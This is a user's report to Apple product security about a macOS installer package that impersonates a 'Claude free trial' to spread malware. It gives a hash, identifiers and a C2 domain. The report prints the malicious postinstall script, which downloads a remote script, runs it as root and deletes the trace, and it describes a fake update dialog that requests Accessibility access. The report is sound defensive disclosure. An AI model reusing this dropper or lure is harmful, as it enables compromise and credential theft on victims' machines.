Malware report: macOS .pkg installer impersonating an AI brand's free trial to distribute malware
To Apple Product Security / Phishing Report Team,
I am reporting a malicious macOS Installer package (.pkg) that impersonates a well-known AI company's brand ("Claude free trial") as a social-engineering lure to get users to install malware on their Mac.
1) Malicious installer file
- Filename: x64_setup_69_857_3.pkg
- SHA256: 30abee0c4a9ded33e7395cd60056518cfaaf00922e575264da6676f0e6018006
- Format: macOS Installer package (xar archive)
- Package identifier: com.deltawhispercom.installer
- Installs an app named "Whitelabel.app" (bundle id com.whitelabel.desktop) to /Applications
- Lure used: distributed/presented to the victim as a "Claude AI free trial" installer
2) Malicious behavior
The package's postinstall script executes with root privileges during installation. It silently downloads and runs a second-stage script from a remote server, then deletes evidence of its own execution:
#!/bin/bash
_t=$(mktemp /private/tmp/wp-setup-XXXXXX)
curl -fsSL --max-time 30 --noproxy '*' 'https://deltawhisper.com/install.sh' -o "$_t" 2>/dev/null || { rm -f "$_t"; exit 0; }
bash "$_t"
rm -f "$_t" 2>/dev/null
3) Follow-on activity observed on the infected Mac
After installation, a fake macOS "Software Update" system dialog appeared, requesting Accessibility permissions under the pretext of "quietly applying a system update." This is a known technique to gain screen-reading/keyboard-monitoring/automation capability, consistent with credential and cryptocurrency wallet theft.
4) Distribution / C2 domain
- deltawhisper.com
Request: Please investigate this malware and its distribution, and take appropriate action (e.g., flagging/blocking via XProtect and Gatekeeper, revoking any associated Developer ID signing certificate if the package is signed, and any other enforcement your team deems appropriate).
I can provide the sample file itself or further technical detail if helpful.
Thank you.
MacBook Pro 13″, macOS 26.6